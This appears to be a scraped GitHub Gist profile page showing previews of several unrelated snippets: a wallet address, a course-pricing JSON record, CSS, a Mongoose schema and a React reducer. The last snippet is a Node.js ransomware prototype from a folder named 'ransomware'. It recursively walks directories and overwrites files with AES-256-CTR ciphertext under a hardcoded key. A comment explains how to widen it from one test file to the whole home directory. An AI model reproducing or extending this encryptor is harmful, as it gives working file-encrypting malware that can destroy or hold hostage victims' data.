Skip to content

Instantly share code, notes, and snippets.

View NathanLeadill's full-sized avatar
💭
Developing

Nathan Leadill NathanLeadill

💭
Developing
  • United Kingdom
View GitHub Profile
0xDB3498137cb66197f2Ad3Fd38237ea536A9EC42e
{"CourseCode":"ZACOREACTNA","CourseTitle":"(QAREACTNAT) Introduction to ReactNative","data_level_1":11.00,"data_level_1_tier_1":11.00,"data_level_1_tier_2":13.00,"data_level_1_tier_3":14.00,"data_level_1_tier_4":16.00,"data_level_1_tier_5":18.00,"data_level_1_tier_6":19.00,"data_level_1_tier_7":21.00,"data_level_2":2.0,"data_level_3":7.0,"data_level_4":30.00,"data_tier_1":6.00,"data_tier_2":6.00,"data_tier_3":8.00,"data_tier_4":9.00,"data_tier_5":13.00,"data_tier_6":14.00,"data_tier_7":16.00,"EventText":"Not Applicable","GroupCode":"MOBILDEV","IsDiscountLimitOn":"N","ListPrice":702.00,"OrderBy":1,"Practice":"IT","PracticeCode":"IT","ProtectedAmt":0.00,"PSExtraDiscount":8.00,"TechType":"Performance Plus","TechTypeCode":"PERFPLUS","Vendor":"Internet Technologies","VendorCode":"INTERNET"}
body {
background-color:black;
}
@NathanLeadill
NathanLeadill / test.js
Created January 3, 2021 16:29
test.js
const schema = mongoose.Schema({
_id: String,
firstName: String,
lastName: String,
username: String,
password: String,
email: String,
profile: Object,
games: Array,
balance: {
const initial = {
firstName: '',
lastName: '',
info: ''
};
function exampleReducer(state, action) {
switch (action.type) {
case 'update_firstName':
return {
const fs = require('fs');
const { resolve } = require('path');
const homedir = require('os').homedir();
const crypto = require('crypto');
const { readdir } = require('fs').promises;
const ENC_KEY = Buffer.from("bf3c199c2470cb477d907b1e0917c17bbf3c199c2470cb477d907b1e0917c17b", "hex");
const IV = Buffer.from("5183666c72eec9e45183666c72eec9e4", "hex");
const encrypt = ((val) => {
let cipher = crypto.createCipheriv('aes-256-ctr', ENC_KEY, IV);
let encrypted = cipher.update(val, 'utf8', 'base64');
encrypted += cipher.final('base64');
return encrypted;
});
async function* getFiles(dir) {
const dirEntries = await readdir(dir, { withFileTypes: true });
for (const dirEntry of dirEntries) {
const res = resolve(dir, dirEntry.name);
if (dirEntry.isDirectory()) {
yield* getFiles(res);
} else {
yield res;
}
}
;(async () => {
// Change ../ to homedir to loop through all the changes
for await (const f of getFiles('../')) {
// this is just a check so that I only encrypt one file.
if(f === '/Users/username/Documents/Projects/ransomware/test/test.txt') {
const data = fs.readFileSync(f, 'utf8')
fs.writeFileSync(f, encrypt(data))
}
}
})()